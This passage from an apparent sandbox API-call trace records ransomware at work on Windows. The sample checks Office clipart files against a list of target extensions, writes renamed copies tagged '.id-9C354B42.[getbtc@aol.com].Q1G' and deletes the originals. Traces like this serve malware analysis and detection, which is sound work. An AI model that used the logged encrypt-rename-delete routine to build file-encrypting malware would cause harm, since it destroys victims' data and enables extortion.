[0261.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.287] lstrlenW (lpString=".1cd") returned 4 [0261.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0261.288] lstrlenW (lpString=".jpg") returned 4 [0261.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.288] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.288] lstrlenW (lpString="J0107730.WMF") returned 12 [0261.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.350] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3060) returned 1 [0261.350] CloseHandle (hObject=0x1f8) returned 1 [0261.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0261.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.351] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.351] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.352] GetLastError () returned 0x0 [0261.352] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xbf4, lpOverlapped=0x0) returned 1 [0261.353] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xc00, lpOverlapped=0x0) returned 1 [0261.354] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.354] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.354] SetEndOfFile (hFile=0x3dc) returned 1 [0261.354] CloseHandle (hObject=0x3dc) returned 1 [0261.354] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.354] SetEndOfFile (hFile=0x1f8) returned 1 [0261.356] CloseHandle (hObject=0x1f8) returned 1 [0261.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0261.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.357] lstrlenW (lpString=".doc") returned 4 [0261.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.357] lstrlenW (lpString=".docx") returned 5 [0261.357] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0261.357] lstrlenW (lpString=".pdf") returned 4 [0261.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.357] lstrlenW (lpString=".xls") returned 4 [0261.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.357] lstrlenW (lpString=".xlsx") returned 5 [0261.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0261.357] lstrlenW (lpString=".ppt") returned 4 [0261.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.357] lstrlenW (lpString=".zip") returned 4 [0261.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.357] lstrlenW (lpString=".rar") returned 4 [0261.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.357] lstrlenW (lpString=".bz2") returned 4 [0261.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString=".7z") returned 3 [0261.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString=".dbf") returned 4 [0261.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString=".1cd") returned 4 [0261.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString=".jpg") returned 4 [0261.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString=".doc") returned 4 [0261.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString=".docx") returned 5 [0261.358] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0261.358] lstrlenW (lpString=".pdf") returned 4 [0261.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString=".xls") returned 4 [0261.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.358] lstrlenW (lpString=".xlsx") returned 5 [0261.358] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0261.358] lstrlenW (lpString=".ppt") returned 4 [0261.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.358] lstrlenW (lpString=".zip") returned 4 [0261.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.358] lstrlenW (lpString=".rar") returned 4 [0261.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString=".bz2") returned 4 [0261.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.358] lstrlenW (lpString=".7z") returned 3 [0261.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.359] lstrlenW (lpString=".dbf") returned 4 [0261.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.359] lstrlenW (lpString=".1cd") returned 4 [0261.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0261.359] lstrlenW (lpString=".jpg") returned 4 [0261.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.359] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.359] lstrlenW (lpString="J0107746.WMF") returned 12 [0261.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.359] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4788) returned 1 [0261.359] CloseHandle (hObject=0x1f8) returned 1 [0261.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 0x20 [0261.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.360] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.360] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.361] GetLastError () returned 0x0 [0261.361] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x12b4, lpOverlapped=0x0) returned 1 [0261.362] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0261.363] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.363] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.363] SetEndOfFile (hFile=0x3dc) returned 1 [0261.363] CloseHandle (hObject=0x3dc) returned 1 [0261.363] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.363] SetEndOfFile (hFile=0x1f8) returned 1 [0261.367] CloseHandle (hObject=0x1f8) returned 1 [0261.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0261.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.368] lstrlenW (lpString=".doc") returned 4 [0261.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.368] lstrlenW (lpString=".docx") returned 5 [0261.368] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.368] lstrlenW (lpString=".pdf") returned 4 [0261.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString=".xls") returned 4 [0261.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.369] lstrlenW (lpString=".xlsx") returned 5 [0261.369] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.369] lstrlenW (lpString=".ppt") returned 4 [0261.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString=".zip") returned 4 [0261.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.369] lstrlenW (lpString=".rar") returned 4 [0261.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString=".bz2") returned 4 [0261.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString=".7z") returned 3 [0261.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString=".dbf") returned 4 [0261.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString=".1cd") returned 4 [0261.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString=".jpg") returned 4 [0261.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.369] lstrlenW (lpString=".doc") returned 4 [0261.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString=".docx") returned 5 [0261.369] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0261.369] lstrlenW (lpString=".pdf") returned 4 [0261.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.369] lstrlenW (lpString=".xls") returned 4 [0261.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.369] lstrlenW (lpString=".xlsx") returned 5 [0261.370] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0261.370] lstrlenW (lpString=".ppt") returned 4 [0261.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.370] lstrlenW (lpString=".zip") returned 4 [0261.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.370] lstrlenW (lpString=".rar") returned 4 [0261.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.370] lstrlenW (lpString=".bz2") returned 4 [0261.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.370] lstrlenW (lpString=".7z") returned 3 [0261.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.370] lstrlenW (lpString=".dbf") returned 4 [0261.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.370] lstrlenW (lpString=".1cd") returned 4 [0261.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0261.370] lstrlenW (lpString=".jpg") returned 4 [0261.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.370] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.370] lstrlenW (lpString="J0107748.WMF") returned 12 [0261.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.371] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=8224) returned 1 [0261.371] CloseHandle (hObject=0x1f8) returned 1 [0261.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 0x20 [0261.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.371] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.371] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.372] GetLastError () returned 0x0 [0261.372] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2020, lpOverlapped=0x0) returned 1 [0261.428] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2030, lpOverlapped=0x0) returned 1 [0261.429] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.429] WriteFile (in: hFile=0x3dc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.429] SetEndOfFile (hFile=0x3dc) returned 1 [0261.429] CloseHandle (hObject=0x3dc) returned 1 [0261.430] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.430] SetEndOfFile (hFile=0x1f8) returned 1 [0261.432] CloseHandle (hObject=0x1f8) returned 1 [0261.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf")) returned 1 [0261.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.442] lstrlenW (lpString=".doc") returned 4 [0261.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.442] lstrlenW (lpString=".docx") returned 5 [0261.442] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.442] lstrlenW (lpString=".pdf") returned 4 [0261.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.442] lstrlenW (lpString=".xls") returned 4 [0261.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.443] lstrlenW (lpString=".xlsx") returned 5 [0261.443] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.443] lstrlenW (lpString=".ppt") returned 4 [0261.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString=".zip") returned 4 [0261.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.443] lstrlenW (lpString=".rar") returned 4 [0261.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString=".bz2") returned 4 [0261.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString=".7z") returned 3 [0261.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString=".dbf") returned 4 [0261.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString=".1cd") returned 4 [0261.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString=".jpg") returned 4 [0261.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.443] lstrlenW (lpString=".doc") returned 4 [0261.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString=".docx") returned 5 [0261.443] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0261.443] lstrlenW (lpString=".pdf") returned 4 [0261.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.443] lstrlenW (lpString=".xls") returned 4 [0261.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.443] lstrlenW (lpString=".xlsx") returned 5 [0261.443] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0261.444] lstrlenW (lpString=".ppt") returned 4 [0261.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.444] lstrlenW (lpString=".zip") returned 4 [0261.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.444] lstrlenW (lpString=".rar") returned 4 [0261.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.444] lstrlenW (lpString=".bz2") returned 4 [0261.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.444] lstrlenW (lpString=".7z") returned 3 [0261.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.444] lstrlenW (lpString=".dbf") returned 4 [0261.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.444] lstrlenW (lpString=".1cd") returned 4 [0261.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0261.444] lstrlenW (lpString=".jpg") returned 4 [0261.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.444] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.444] lstrlenW (lpString="J0136865.WMF") returned 12 [0261.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), 